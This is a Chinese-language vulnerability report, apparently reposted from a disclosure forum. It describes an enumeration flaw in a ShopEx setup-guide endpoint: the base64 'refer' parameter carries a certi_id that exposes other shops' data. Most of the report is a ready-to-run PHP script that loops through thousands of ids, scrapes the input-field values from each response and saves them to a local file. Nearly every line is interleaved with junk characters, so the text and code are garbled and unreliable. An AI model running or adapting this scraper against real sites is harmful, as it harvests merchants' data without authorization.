ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
7 X& j2 G4 B4 nShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面


& o+ L. D) U9 t: o1 O6 Y6 q, Y
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
" N: U0 {- [0 l2 V% m$ B: C7 }5 u


refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
* m5 A9 e1 z" B2 R/ U8 N+ A7 R8 n2 F6 @


<?php
& m( V) \$ J  K/ [9 ^& r, ^
                for ($i=1; $i < 10000; $i++) { //遍历
6 G% t  G) h" @1 o/ R5 Q+ m7 m
                        ShowshopExD($i);
" ^* S* ~5 I$ m. F) P
- {5 j( H7 ~, ~! L& f                }

, j% M2 E+ ^  T: Y% C                function ShowshopExD($cid) {
$ v* q- l& w3 W( v- t: T7 y
0 t0 T2 S) x; r4 e8 t) c0 k                $url='http://guide.ecos.shopex.cn/step2.php';
: F- M/ G/ j  u
9 L  C: A+ o5 N% g# `, }1 N                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

" N  T" T4 G5 ~% @! R, N        $url = $url.'?refer='.$refer;
8 Z* P3 T: o6 K; c/ K
        $ch = curl_init($url);

/ M9 R. P: M" Q7 O- A5 _        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
- O! |. l3 @, X- V
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

2 }3 a8 u, J3 C& C1 H) I        $result = curl_exec($ch);

( {; A/ d$ v; `, V        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
& W% A+ V4 i8 m) Q# h6 ?  ]
        if(strpos($result,$refer))
6 _! U6 N" l& U* u4 u- w5 }
& m$ P* r: q; k1 T$ t3 F# X        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

+ y1 j" H1 g! K/ }! ^  f3 E) p                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

( s& G: b- p) m% D( n                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

& |) R. E$ A4 R  R; R- E7 X! _                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
0 B, u8 i" W2 o% r" w2 U" L
5 U+ m7 o& W0 q" t4 O2 T                }

1 A( r/ T; v6 Y3 w  m                echo '--------------------------------'."\r\n";

                fclose($fp);
: [+ {6 \- j/ `/ k8 B  W  A* M
1 C" r$ x5 u" P4 K: `1 T" @3 }        }

0 ?6 P0 \* K# o( t1 F        flush();
. X6 Q+ i( g- `8 x7 Y4 F+ f6 ^
- B( G7 z  J" t$ Q        curl_close($ch);

                }
+ ^, y9 p( L- m
?>
漏洞证明：
% K7 _* w1 U* f, p: yhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
, {9 Z$ p" d( P3 z9 Q* krefer换成其他加密方式
) n. S7 ]0 H* p3 C* U: K